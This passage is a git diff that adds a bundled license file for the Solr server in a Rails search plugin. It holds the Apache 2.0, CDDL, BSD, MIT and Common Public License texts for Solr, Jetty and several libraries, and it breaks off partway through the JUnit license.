parsing should now work useing DOM Level 2 parsers -- Solr + previously relied on getTextContent which is a DOM Level 3 addition + (Alexander Saar via hossman, SOLR-78) + +2006/01/17 Solr open sourced, moves to Apache Incubator diff --git a/vendor/plugins/acts_as_solr/solr/LICENSE.txt b/vendor/plugins/acts_as_solr/solr/LICENSE.txt new file mode 100644 index 00000000..cbc2c9b8 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/LICENSE.txt @@ -0,0 +1,712 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + + +========================================================================== +Portions of Jetty 6 are bundled in the Solr example server. +Jetty 6 includes a binary javax.servlet package licensed under the +Common Development and Distribution License. +-------------------------------------------------------------------------- +COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL) Version 1.0 + +1. Definitions. + +1.1. Contributor means each individual or entity that creates or contributes to +the creation of Modifications. + +1.2. Contributor Version means the combination of the Original Software, prior +Modifications used by a Contributor (if any), and the Modifications made by +that particular Contributor. + +1.3. Covered Software means (a) the Original Software, or (b) Modifications, or +(c) the combination of files containing Original Software with files containing +Modifications, in each case including portions thereof. + +1.4. Executable means the Covered Software in any form other than Source Code. + +1.5. Initial Developer means the individual or entity that first makes Original +Software available under this License. + +1.6. Larger Work means a work which combines Covered Software or portions +thereof with code not governed by the terms of this License. + +1.7. License means this document. + +1.8. Licensable means having the right to grant, to the maximum extent +possible, whether at the time of the initial grant or subsequently acquired, +any and all of the rights conveyed herein. + +1.9. Modifications means the Source Code and Executable form of any of the +following: + +A. Any file that results from an addition to, deletion from or modification of +the contents of a file containing Original Software or previous Modifications; + +B. Any new file that contains any part of the Original Software or previous +Modification; or + +C. Any new file that is contributed or otherwise made available under the terms +of this License. + +1.10. Original Software means the Source Code and Executable form of computer +software code that is originally released under this License. + +1.11. Patent Claims means any patent claim(s), now owned or hereafter acquired, +including without limitation, method, process, and apparatus claims, in any +patent Licensable by grantor. + +1.12. Source Code means (a) the common form of computer software code in which +modifications are made and (b) associated documentation included in or with +such code. + +1.13. You (or Your) means an individual or a legal entity exercising rights +under, and complying with all of the terms of, this License. For legal +entities, You includes any entity which controls, is controlled by, or is under +common control with You. For purposes of this definition, control means (a)áthe +power, direct or indirect, to cause the direction or management of such entity, +whether by contract or otherwise, or (b)áownership of more than fifty percent +(50%) of the outstanding shares or beneficial ownership of such entity. + +2. License Grants. + +2.1. The Initial Developer Grant. Conditioned upon Your compliance with +Section 3.1 below and subject to third party intellectual property claims, the +Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive +license: (a) under intellectual property rights (other than patent or +trademark) Licensable by Initial Developer, to use, reproduce, modify, display, +perform, sublicense and distribute the Original Software (or portions thereof), +with or without Modifications, and/or as part of a Larger Work; and (b) under +Patent Claims infringed by the making, using or selling of Original Software, +to make, have made, use, practice, sell, and offer for sale, and/or otherwise +dispose of the Original Software (or portions thereof). (c) The licenses +granted in Sectionsá2.1(a) and (b) are effective on the date Initial Developer +first distributes or otherwise makes the Original Software available to a third +party under the terms of this License. (d) Notwithstanding Sectioná2.1(b) +above, no patent license is granted: (1)áfor code that You delete from the +Original Software, or (2)áfor infringements caused by: (i)áthe modification of +the Original Software, or (ii)áthe combination of the Original Software with +other software or devices. + +2.2. Contributor Grant. Conditioned upon Your compliance with Section 3.1 +below and subject to third party intellectual property claims, each Contributor +hereby grants You a world-wide, royalty-free, non-exclusive license: (a) under +intellectual property rights (other than patent or trademark) Licensable by +Contributor to use, reproduce, modify, display, perform, sublicense and +distribute the Modifications created by such Contributor (or portions thereof), +either on an unmodified basis, with other Modifications, as Covered Software +and/or as part of a Larger Work; and (b) under Patent Claims infringed by the +making, using, or selling of Modifications made by that Contributor either +alone and/or in combination with its Contributor Version (or portions of such +combination), to make, use, sell, offer for sale, have made, and/or otherwise +dispose of: (1)áModifications made by that Contributor (or portions thereof); +and (2)áthe combination of Modifications made by that Contributor with its +Contributor Version (or portions of such combination). (c) The licenses +granted in Sectionsá2.2(a) and 2.2(b) are effective on the date Contributor +first distributes or otherwise makes the Modifications available to a third +party. (d) Notwithstanding Sectioná2.2(b) above, no patent license is granted: +(1)áfor any code that Contributor has deleted from the Contributor Version; +(2)áfor infringements caused by: (i)áthird party modifications of Contributor +Version, or (ii)áthe combination of Modifications made by that Contributor with +other software (except as part of the Contributor Version) or other devices; or +(3)áunder Patent Claims infringed by Covered Software in the absence of +Modifications made by that Contributor. + +3. Distribution Obligations. + +3.1. Availability of Source Code. + +Any Covered Software that You distribute or otherwise make available in +Executable form must also be made available in Source Code form and that Source +Code form must be distributed only under the terms of this License. You must +include a copy of this License with every copy of the Source Code form of the +Covered Software You distribute or otherwise make available. You must inform +recipients of any such Covered Software in Executable form as to how they can +obtain such Covered Software in Source Code form in a reasonable manner on or +through a medium customarily used for software exchange. + +3.2. Modifications. + +The Modifications that You create or to which You contribute are governed by +the terms of this License. You represent that You believe Your Modifications +are Your original creation(s) and/or You have sufficient rights to grant the +rights conveyed by this License. + +3.3. Required Notices. You must include a notice in each of Your Modifications +that identifies You as the Contributor of the Modification. You may not remove +or alter any copyright, patent or trademark notices contained within the +Covered Software, or any notices of licensing or any descriptive text giving +attribution to any Contributor or the Initial Developer. + +3.4. Application of Additional Terms. You may not offer or impose any terms on +any Covered Software in Source Code form that alters or restricts the +applicable version of this License or the recipients rights hereunder. You may +choose to offer, and to charge a fee for, warranty, support, indemnity or +liability obligations to one or more recipients of Covered Software. However, +you may do so only on Your own behalf, and not on behalf of the Initial +Developer or any Contributor. You must make it absolutely clear that any such +warranty, support, indemnity or liability obligation is offered by You alone, +and You hereby agree to indemnify the Initial Developer and every Contributor +for any liability incurred by the Initial Developer or such Contributor as a +result of warranty, support, indemnity or liability terms You offer. + +3.5. Distribution of Executable Versions. You may distribute the Executable +form of the Covered Software under the terms of this License or under the terms +of a license of Your choice, which may contain terms different from this +License, provided that You are in compliance with the terms of this License and +that the license for the Executable form does not attempt to limit or alter the +recipients rights in the Source Code form from the rights set forth in this +License. If You distribute the Covered Software in Executable form under a +different license, You must make it absolutely clear that any terms which +differ from this License are offered by You alone, not by the Initial Developer +or Contributor. You hereby agree to indemnify the Initial Developer and every +Contributor for any liability incurred by the Initial Developer or such +Contributor as a result of any such terms You offer. + +3.6. Larger Works. You may create a Larger Work by combining Covered Software +with other code not governed by the terms of this License and distribute the +Larger Work as a single product. In such a case, You must make sure the +requirements of this License are fulfilled for the Covered Software. + +4. Versions of the License. + +4.1. New Versions. Sun Microsystems, Inc. is the initial license steward and +may publish revised and/or new versions of this License from time to time. Each +version will be given a distinguishing version number. Except as provided in +Section 4.3, no one other than the license steward has the right to modify this +License. + +4.2. Effect of New Versions. + +You may always continue to use, distribute or otherwise make the Covered +Software available under the terms of the version of the License under which +You originally received the Covered Software. If the Initial Developer includes +a notice in the Original Software prohibiting it from being distributed or +otherwise made available under any subsequent version of the License, You must +distribute and make the Covered Software available under the terms of the +version of the License under which You originally received the Covered +Software. Otherwise, You may also choose to use, distribute or otherwise make +the Covered Software available under the terms of any subsequent version of the +License published by the license steward. 4.3. Modified Versions. + +When You are an Initial Developer and You want to create a new license for Your +Original Software, You may create and use a modified version of this License if +You: (a)árename the license and remove any references to the name of the +license steward (except to note that the license differs from this License); +and (b)áotherwise make it clear that the license contains terms which differ +from this License. + +5. DISCLAIMER OF WARRANTY. + +COVERED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT +WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT +LIMITATION, WARRANTIES THAT THE COVERED SOFTWARE IS FREE OF DEFECTS, +MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK +AS TO THE QUALITY AND PERFORMANCE OF THE COVERED SOFTWARE IS WITH YOU. SHOULD +ANY COVERED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL +DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, +REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART +OF THIS LICENSE. NO USE OF ANY COVERED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT +UNDER THIS DISCLAIMER. + +6. TERMINATION. + +6.1. This License and the rights granted hereunder will terminate automatically +if You fail to comply with terms herein and fail to cure such breach within 30 +days of becoming aware of the breach. Provisions which, by their nature, must +remain in effect beyond the termination of this License shall survive. + +6.2. If You assert a patent infringement claim (excluding declaratory judgment +actions) against Initial Developer or a Contributor (the Initial Developer or +Contributor against whom You assert such claim is referred to as Participant) +alleging that the Participant Software (meaning the Contributor Version where +the Participant is a Contributor or the Original Software where the Participant +is the Initial Developer) directly or indirectly infringes any patent, then any +and all rights granted directly or indirectly to You by such Participant, the +Initial Developer (if the Initial Developer is not the Participant) and all +Contributors under Sectionsá2.1 and/or 2.2 of this License shall, upon 60 days +notice from Participant terminate prospectively and automatically at the +expiration of such 60 day notice period, unless if within such 60 day period +You withdraw Your claim with respect to the Participant Software against such +Participant either unilaterally or pursuant to a written agreement with +Participant. + +6.3. In the event of termination under Sectionsá6.1 or 6.2 above, all end user +licenses that have been validly granted by You or any distributor hereunder +prior to termination (excluding licenses granted to You by any distributor) +shall survive termination. + +7. LIMITATION OF LIABILITY. + +UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING +NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY +OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED SOFTWARE, OR ANY SUPPLIER OF +ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, +INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT +LIMITATION, DAMAGES FOR LOST PROFITS, LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER +FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN +IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS +LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL +INJURY RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW +PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR +LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND +LIMITATION MAY NOT APPLY TO YOU. + +8. U.S. GOVERNMENT END USERS. + +The Covered Software is a commercial item, as that term is defined in +48áC.F.R.á2.101 (Oct. 1995), consisting of commercial computer software (as +that term is defined at 48 C.F.R. á252.227-7014(a)(1)) and commercial computer +software documentation as such terms are used in 48áC.F.R.á12.212 (Sept. 1995). +Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 +(June 1995), all U.S. Government End Users acquire Covered Software with only +those rights set forth herein. This U.S. Government Rights clause is in lieu +of, and supersedes, any other FAR, DFAR, or other clause or provision that +addresses Government rights in computer software under this License. + +9. MISCELLANEOUS. + +This License represents the complete agreement concerning subject matter +hereof. If any provision of this License is held to be unenforceable, such +provision shall be reformed only to the extent necessary to make it +enforceable. This License shall be governed by the law of the jurisdiction +specified in a notice contained within the Original Software (except to the +extent applicable law, if any, provides otherwise), excluding such +jurisdictions conflict-of-law provisions. Any litigation relating to this +License shall be subject to the jurisdiction of the courts located in the +jurisdiction and venue specified in a notice contained within the Original +Software, with the losing party responsible for costs, including, without +limitation, court costs and reasonable attorneys fees and expenses. The +application of the United Nations Convention on Contracts for the International +Sale of Goods is expressly excluded. Any law or regulation which provides that +the language of a contract shall be construed against the drafter shall not +apply to this License. You agree that You alone are responsible for compliance +with the United States export administration regulations (and the export +control laws and regulation of any other countries) when You use, distribute or +otherwise make available any Covered Software. + +10. RESPONSIBILITY FOR CLAIMS. + +As between Initial Developer and the Contributors, each party is responsible +for claims and damages arising, directly or indirectly, out of its utilization +of rights under this License and You agree to work with Initial Developer and +Contributors to distribute such responsibility on an equitable basis. Nothing +herein is intended or shall be deemed to constitute any admission of liability. + +NOTICE PURSUANT TO SECTION 9 OF THE COMMON DEVELOPMENT AND DISTRIBUTION LICENSE +(CDDL) The GlassFish code released under the CDDL shall be governed by the laws +of the State of California (excluding conflict-of-law provisions). Any +litigation relating to this License shall be subject to the jurisdiction of the +Federal Courts of the Northern District of California and the state courts of +the State of California, with venue lying in Santa Clara County, California. + + +========================================================================== +The following license applies to parts of the lucene-snowball jar +that are generated from the snowball sources at http://snowball.tartarus.org/ +-------------------------------------------------------------------------- +The BSD License + +Copyright (c) 2001, Dr Martin Porter, Copyright (c) 2002, Richard Boulton +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name of the nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +========================================================================== +The following license applies to easymock.jar +-------------------------------------------------------------------------- +EasyMock 2 License (MIT License) +Copyright (c) 2001-2007 OFFIS, Tammo Freese. + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +========================================================================== +The following license applies to the JQuery JavaScript library +-------------------------------------------------------------------------- +Copyright (c) 2008 John Resig, http://jquery.com/ + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +========================================================================== +The following license applies to stax-utils.jar +-------------------------------------------------------------------------- +Copyright (c) 2004, Christian Niles, unit12.net +Copyright (c) 2004, Sun Microsystems, Inc. +Copyright (c) 2006, John Kristian +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of the listed copyright holders nor the names + of its contributors may be used to endorse or promote products + derived from this software without specific prior written + permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +========================================================================== +The following license applies to JUnit +-------------------------------------------------------------------------- +Common Public License - v 1.0 + +THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS COMMON PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. + +1. DEFINITIONS + +"Contribution" means: + + a) in the case of the initial Contributor, the initial code and documentation distributed under this Agreement, and + b) in the case of each subsequent Contributor: + + i) changes to the Program, and + + ii) additions to the Program; + + where such changes and/or additions to the Program originate from and are distributed by that particular Contributor. A Contribution 'originates' from a Contributor if it was added to the Program by such Contributor itself or anyone acting on such Contributor's behalf. Contributions do not include additions to the Program which: (i) are separate modules of software distributed in conjunction with the Program under their own license agreement, and (ii) are not derivative works of the Program. + +"Contributor" means any person or entity that distributes the Program. + +"Licensed Patents " mean patent claims licensable by a Contributor which are necessarily infringed by the use or sale of its Contribution alone or when combined with the Program. + +"Program" means the Contributions distributed in accordance with this Agreement. + +"Recipient" means anyone who receives the Program under this Agreement, including all Contributors. + +2. GRANT OF RIGHTS + + a) Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, distribute and sublicense the Contribution of such Contributor, if any, and such derivative works, in source code and object code form. + + b) Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed Patents to make, use, sell, offer to sell, import and otherwise transfer the Contribution of such Contributor, if any, in source code and object code form. This patent license shall apply to the combination of the Contribution and the Program if, at the time the Contribution is added by the Contributor, such addition of the Contribution causes such combination to be covered by the Licensed Patents. The patent license shall not apply to any other combinations which include the Contribution. No hardware per se is licensed hereunder. + + c) Recipient understands that although each Contributor grants the licenses to its Contributions set forth herein, no assurances are provided by any Contributor that the Program does not infringe the patent or other intellectual property rights of any other entity. Each Contributor disclaims any liability to Recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, each Recipient hereby assumes sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow Recipient to distribute the Program, it is Recipient's responsibility to acquire that license before distributing the Program. + + d) Each Contributor represents that to its knowledge it has sufficient copyright rights in its Contribution, if any, to grant the copyright license set forth in this Agreement. + +3. REQUIREMENTS + +A Contributor may choose to distribute the Program in object code form under its own license agreement, provided that: + + a) it complies with the terms and conditions of this Agreement; and + + b) its license agreement: + + i) effectively disclaims on behalf of all Contributors all warranties and conditions, express and implied, including warranties or conditions of title and non-infringement, and implied warranties or conditions of merchantability and fitness for a particular purpose; + + ii) effectively excludes on behalf of all Contributors all liability for damages, including direct, indirect, special, incidental and consequential damages, such as lost profits; + + iii) states that any provisions which differ from this Agreement are offered by that Contributor alone and not by any other party; and + + iv) states that source code for the Program is available from such Contributor, and informs licensees how to obtain it in a reasonable manner on or through a medium customarily used for software exchange. + +When the Program is made available in source code form: + + a) it must be made available under this Agreement; and + + b) a copy of this Agreement must be included with each copy of the Program. + +Contributors may not remove or alter any copyright notices contained within the Program. + +Each Contributor must identify itself as the originator of its Contribution, if any, in a manner that reasonably allows subsequent Recipients to identify the originator of the Contribution. + +4. COMMERCIAL DISTRIBUTION + +Commercial distributors of software may accept certain responsibilities with respect to end users, business partners and the like. While this license is intended to facilitate the commercial use of the Program, the Contributor who includes the Program in a commercial product offering should do so in a manner which does not create potential liability for other Contributors. Therefore, if a Contributor includes the Program in a commercial product offering, such Contributor ("Commercial Contributor") hereby agrees to defend and indemnify every other Contributor ("Indemnified Contributor") against any losses, damages and costs (collectively "Losses") arising from claims, lawsuits and other legal actions brought by a third party against the Indemnified Contributor to the extent caused by the acts or omissions of such Commercial Contributor in connection with its distribution of the Program in a commercial product offering. The obligations in this section do not apply to any claims or Losses relating to any actual or alleged intellectual property infringement. In order to qualify, an Indemnified Contributor must: a) promptly notify the Commercial Contributor in writing of such claim, and b) allow the Commercial Contributor to control, and cooperate with the Commercial Contributor in, the defense and any related settlement negotiations. The Indemnified Contributor may participate in any such claim at its own expense. + +For example, a Contributor might include the Program in a commercial product offering, Product X. That Contributor is then a Commercial Contributor. If that Commercial Contributor then makes performance claims, or offers warranties related to Product X, those performance claims and warranties are such Commercial Contributor's responsibility alone. Under this section, the Commercial Contributor would have to defend claims against the other Contributors related to those performance claims and warranties, and if a court requires any other Contributor to pay any damages as a result, the Commercial Contributor must pay those damages. + +5. NO WARRANTY + +EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, 